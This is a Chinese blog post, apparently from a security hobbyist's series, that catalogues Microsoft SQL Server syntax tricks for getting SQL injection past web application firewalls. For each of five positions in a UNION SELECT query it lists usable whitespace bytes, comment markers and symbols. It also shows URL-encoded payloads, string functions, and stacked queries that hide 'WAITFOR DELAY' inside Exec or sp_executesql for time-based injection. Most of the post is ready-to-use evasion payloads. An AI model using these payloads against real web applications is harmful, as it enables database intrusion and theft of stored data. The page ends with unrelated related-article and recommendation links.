WAF Bypass数据库特性(MSsql探索篇)
0x01 背景
探索玩了Mysql特性,继续来探索一下MSsql特性。
0x02 测试
常见有5个位置即:select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】from【位置五】admin
位置一:参数和union之间的位置
(1)空白字符
Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
(2)注释符号
Mssql也可以使用注释符号/**/
(3)浮点数
select * from admin where id=1.1union select 1,'2',db_name() from admin
(4)1E0的形式:
select * from admin where id=1e0union select 1,'2',db_name() from admin
(5)运算符
包括加(+)、减(-)、乘(*)、除(/)、求于(%)、位与(&)、位或(|)、位异或(^)
select username,password,id from admin where id=1-1union select '1',system_user,3 from admin
select username,password,id from admin where id=1e-union select '1',system_user,3 from admin
(6)小区别:
ASPX:[0x00-0x20]、ox2e、[0x30-0x39]、ox45、ox65、[0x80-0xff]、运算符
ASP: [0x01-0x20]、ox2e、[0x30-0x39]、ox45、ox65、运算符
单引号:select username,password,id from admin where id=1 and '1'like'1'union select null,null,null
位置二:union和select之间的位置
(1)空白字符
Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
(2)注释符号
Mssql也可以使用注释符号/**/
(3)其他符号
: %3a 冒号
select * from admin where id=1 union:select 1,'2',db_name() from:admin
ASPX:[0x00-0x20]、0x3a、[0x80-0xff]要组合前面的两个才能执行,如%3a%a0、%a0%0a
ASP: [0x01-0x20] 、0x3a
位置三:select和查询参数之间的位置
(1)空白字符
Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
(2)注释符号
Mssql也可以使用注释符号/**/
(3)其他符号
%2b + select * from admin where id=1 union select+1,'2',db_name() from admin
%2d - select * from admin where id=1 union select-1,'2',db_name() from admin
%2e . select * from admin where id=1 union select.1,'2',db_name() from admin
%3a : select * from admin where id=1 union select:1,'2',db_name() from admin
%7e ~ select * from admin where id=1 union select~1,'2',db_name() from admin
位置四:查询参数和from之间的位置
(1)空白字符
Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
(2)注释符号
Mssql也可以使用注释符号/**/
(3)其他符号
ASP: [0x01-0x20]、0x2e、[0x30-0x39]、0x45、0x65、[0x80-0xff]
ASPX:[0x00-0x20]、0x2e、[0x30-0x39]、0x45、0x65、
id=1%20union%20select%201,'2',db_name()%80from%20admin
db_name与()中间 %00-%20 %80-%ff填充
id=1 union select 1,'2',db_name+() from admin
位置五:from后面的位置
(1)空白字符
Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
(2)注释符号
Mssql也可以使用注释符号/**/
(3)其他符号
: %3a select * from admin where id=1 union:select 1,'2',db_name() from:admin
. %2e select * from admin where id=1 union select 1,'2',db_name() from.information_schema.SCHEMATA
ASP: [0x01-0x20]、0x2e、0x3a
ASPX: [0x00-0x20]、0x2e、0x3a、[0x80-0xff]
0x03 函数
(1)字符串截取函数
Substring(@@version,1,1)
Left(@@version,1)
Right(@@version,1)
charindex('test',db_name())
(2)字符串转换函数
Ascii(‘a’)
Char(‘97’)
这里的函数可以在括号之间添加空格的,一些waf过滤不严会导致bypass
(3) 其他方式
利用存储过程
mssql的存储过程定义为:
Declare @s varchar(5000) //申明变量@s 类型为varchar(5000)
Set @ //给@s变量赋值
Exec(@s) //执行@s
id=1;Exec('WA'+'ITFOR DELAY ''0:0:5''')
id=1;declare @test nvarchar(50);set @test='wait'+'for delay ''0:0:5''';exec sp_executesql @test
持续更新中。。。。。。。。。
关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。
WAF Bypass数据库特性(MSsql探索篇)的更多相关文章
- WAF Bypass数据库特性(Mysql探索篇)
0x01 背景 Mysql数据库特性探索,探索能够绕过WAF的数据库特性. 0x02 测试 常见有5个位置即: SELECT * FROM admin WHERE username = 1[位置一 ...
- WAF Bypass数据库特性(Access探索篇)
0x01 背景 无聊,测试了一下access特性 0x02 测试 常见有5个位置即:select * from admin where id=1[位置一]union[位置二]select[位置三]1, ...
- WAF Bypass数据库特性(Oracle探索篇)
0x01 背景 oracle与mysql特性类似,半自动化fuzz了一下,记录成果. 0x02 测试 位置一:参数和union之间的位置 1)空白字符 Oracle中可以利用的空白字符有: %00 ...
- WAF Bypass 笔记(SQL注入篇)
0x01 背景 waf Bypass 笔记 0x02 服务器特性 1.%特性(ASP+IIS) 在asp+iis的环境中存在一个特性,就是特殊符号%,在该环境下当们我输入s%elect的时候,在WAF ...
- waf bypass
1.前言 去年到现在就一直有人希望我出一篇关于waf绕过的文章,我觉得这种老生常谈的话题也没什么可写的.很多人一遇到waf就发懵,不知如何是好,能搜到的各种姿势也是然并卵.但是积累姿势的过程也是迭代的 ...
- WAF对抗-安全狗(联合查询篇)
WAF对抗-安全狗(联合查询篇) 实验环境 网站安全狗APACHE版V4.0.靶场:dvwa 为了方便对比可以在这个在线靶场申请一个dvwa https://www.vsplate.com/ mysq ...
- 我的WAF Bypass实战系列
梳理了一下自己写过的WAF Bypass相关的文章,按照编写时间顺序,整理成了一个WAF Bypass实战系列,如果你准备了解WAF攻防这一块的内容,可以来了解一下. 第一篇:<Bypass ...
- IOC容器特性注入第一篇:程序集反射查找
学习kooboo的框架发现它的注入容器方法比较特别,同样是利用MVC的注入点,但它是查找网站下面bin所有的DLL利用反射查找特性找到对应的服务注入到容器. 这样的好处很简单:完全可以不用关心IOC容 ...
- SQL数据库基础知识-巩固篇<一>
SQL数据库基础知识-巩固篇<一>... =============== 首先展示两款我个人很喜欢的数据库-专用于平时个人SQL技术的练习<特点:体积小,好安装和好卸载,功能完全够用 ...
随机推荐
- Overview & PPT 类型 & PPT 制作流程
PPT 策略 PPT 不能当讲稿 初次制作PPT的人常常把PPT当成大号讲稿,把演示时所有要说的话都变成文字做到PPT里,这 样的结果是观众很难记住PPT里到底讲了些什么需要我们帮助他们将文字尽可能转 ...
- Vue路由学习笔记
Vue路由大致分为6个步骤: 1.引用vue-router <script src="js/vue-router.js"></script> 2.安装插件 ...
- jq 智能搜索
案例:http://www.runoob.com/jqueryui/example-autocomplete.html <input type="text" style=& ...
- R中ifelse、which、%in%的用法
R中ifelse.which.%in%的用法 (2014-02-08 13:54:08)标签: 教育 在R学习过程中,遇到了ifelse.which.%in%,下面分别举例,说明他们的用法.1.ife ...
- 安卓程序代写 网上程序代写[原]Call requires API level 8 (current min is 1)错误
导入了一个程序 , 每次运行之后都会出现该错误 . 点击clean 错误就会消失 , 但是执行该错误的时候该错误就会重新出现 . 这个错误需要在AndroidManifest.xml配置文件中修改 u ...
- 重点:QObject 的拷贝构造和赋值操作——私有
QObject 中没有提供一个拷贝构造函数和赋值操作符给外界使用,其实拷贝构造和赋值的操作都是已经声明了的,但是它们被使用了Q_DISABLE_COPY () 宏放在了private区域.因此所有继承 ...
- mininet安装与简单命令总结
下载地址:http://mininet.org/ 我下载的是mininet镜像,用于导入windows Vmware中使用 用户名和密码都是mininet 下载后 导入VMware即可 建立一个简单的 ...
- Java 内部线程
InsttoolCacheScheduler_ Worker-2 Quartz InsttoolCacheScheduler_Worker-2线程就是ThreadPool线程的一个简单实现,它主要负责 ...
- c数组
一维数组 有三种赋值方式 1.原始的赋值 2. 初始化赋值 3.动态赋值 数组的花式玩法 void main() { ] = {, , , , , , , , , }; test(a); putcha ...
- Unity-------------------------关于GUI绘制的编程
转载:在这篇文章中我将给读者介绍Unity中的图形用户界面(GUI)编程.Unity有一个非常强大的GUI脚本API.它允许你使用脚本快速创建简单的菜单和GUI. 简介 Unity提供了使用脚本创建G ...